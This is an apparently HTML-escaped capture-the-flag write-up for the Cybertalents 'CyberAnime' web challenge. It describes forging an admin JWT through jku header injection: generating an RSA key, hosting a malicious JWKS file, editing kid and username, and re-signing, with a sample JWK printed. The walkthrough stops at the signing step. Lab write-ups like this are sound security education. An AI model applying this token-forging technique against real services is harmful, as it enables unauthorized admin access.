&lt;p&gt;This writeup details the steps taken to solve the &lt;strong&gt;CyberAnime Web Challenge&lt;/strong&gt; on &lt;strong&gt;Cybertalents&lt;/strong&gt;. The challenge involves bypassing JWT authentication to gain access as an admin and retrieve the flag.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Step 1: Initial Reconnaissance&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Launch the Machine&lt;/strong&gt;: Start by launching the machine and accessing the provided URL.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Login Attempt&lt;/strong&gt;: Try logging in with common credentials like &lt;code&gt;admin:admin&lt;/code&gt;. This attempt fails, and there is nothing unusual in the source code.&lt;/li&gt;
&lt;/ol&gt;
&lt;hr /&gt;
&lt;h2&gt;Step 2: Register an Account&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Register&lt;/strong&gt;: Register a new account using any credentials.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Inspect POST Request&lt;/strong&gt;: Use &lt;strong&gt;Burp Suite&lt;/strong&gt; to inspect the POST request sent during registration. The request redirects to &lt;code&gt;/home&lt;/code&gt;.
&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*kdlLVgsyYgiZRP0OCoHi3Q.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;hr /&gt;
&lt;h2&gt;Step 3: Analyze Cookies&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;SessionToken Cookie&lt;/strong&gt;: Inspect the &lt;code&gt;SessionToken&lt;/code&gt; cookie using &lt;a href=&quot;https://jwt.io/&quot;&gt;jwt.io&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;JWT Details&lt;/strong&gt;: The JWT uses the &lt;code&gt;RS256&lt;/code&gt; algorithm. The &lt;code&gt;kid&lt;/code&gt; (Key ID) is a random number, and the &lt;code&gt;jku&lt;/code&gt; (JSON Web Key Set URL) points to &lt;code&gt;/.well-known/jwks.json&lt;/code&gt;.
&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*gOV5n6myg2qAK6Z61YIs7A.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;hr /&gt;
&lt;h2&gt;Step 4: Access the JWKS Endpoint&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;JWKS URL&lt;/strong&gt;: Access the JWKS URL:&lt;/li&gt;
&lt;/ol&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;a href=&quot;http://wcamxwl32pue3e6m873od00swzy0jk31drmetrzm-web.cybertalentslabs.com/.well-known/jwks.json&quot;&gt;http://wcamxwl32pue3e6m873od00swzy0jk31drmetrzm-web.cybertalentslabs.com/.well-known/jwks.json&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Key Retrieval&lt;/strong&gt;: Confirm that the server returns a valid key.
&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*UUZek7-S8hOznng266-GdQ.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;hr /&gt;
&lt;h2&gt;Step 5: Exploit JWT Authentication via JKU Header Injection&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Objective&lt;/strong&gt;: Force the server to use a malicious JWKS URL to validate a forged JWT.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Steps&lt;/strong&gt;:&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;Generate a new RSA key pair using &lt;strong&gt;Burp Suite&apos;s JWT Editor&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;Copy the public key in JWK format.&lt;/li&gt;
&lt;li&gt;Host the malicious JWKS file on a server (e.g., Burp Collaborator or Exploit Server).&lt;/li&gt;
&lt;li&gt;Replace the &lt;code&gt;jku&lt;/code&gt; parameter in the JWT header with the URL of the malicious JWKS file.&lt;/li&gt;
&lt;li&gt;Modify the &lt;code&gt;kid&lt;/code&gt; parameter in the JWT header to match the &lt;code&gt;kid&lt;/code&gt; of the malicious JWK.&lt;/li&gt;
&lt;li&gt;Change the &lt;code&gt;username&lt;/code&gt; in the JWT payload to &lt;code&gt;admin&lt;/code&gt;.
&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1180/format:webp/1*0e2_aZXX5nJMBZPjJxv1LA.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;Step 6: Craft and Sign the Malicious JWT&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;JWK Format&lt;/strong&gt;:&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;{
  &quot;keys&quot;: [
    {
      &quot;kty&quot;: &quot;RSA&quot;,
      &quot;e&quot;: &quot;AQAB&quot;,
      &quot;kid&quot;: &quot;893d8f0b-061f-42c2-a4aa-5056e12b8ae7&quot;,
      &quot;n&quot;: &quot;yy1wpYmffgXBxhAUJzHHocCuJolwDqql75ZWuCQ_cb33K2vh9mk6GPM9gNN4Y_qTVX67WhsN3JvaFYw&quot;
    }
  ]
}
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Sign the JWT: Use Burp Suite&apos;s JWT Editor to sign the JWT without modifying the header.&lt;/strong&gt;
&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*NtYGqp2yJvenKaf8lnjjdA.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/li&gt;
&lt;/ol&gt;
</content:encoded></item></channel></rss>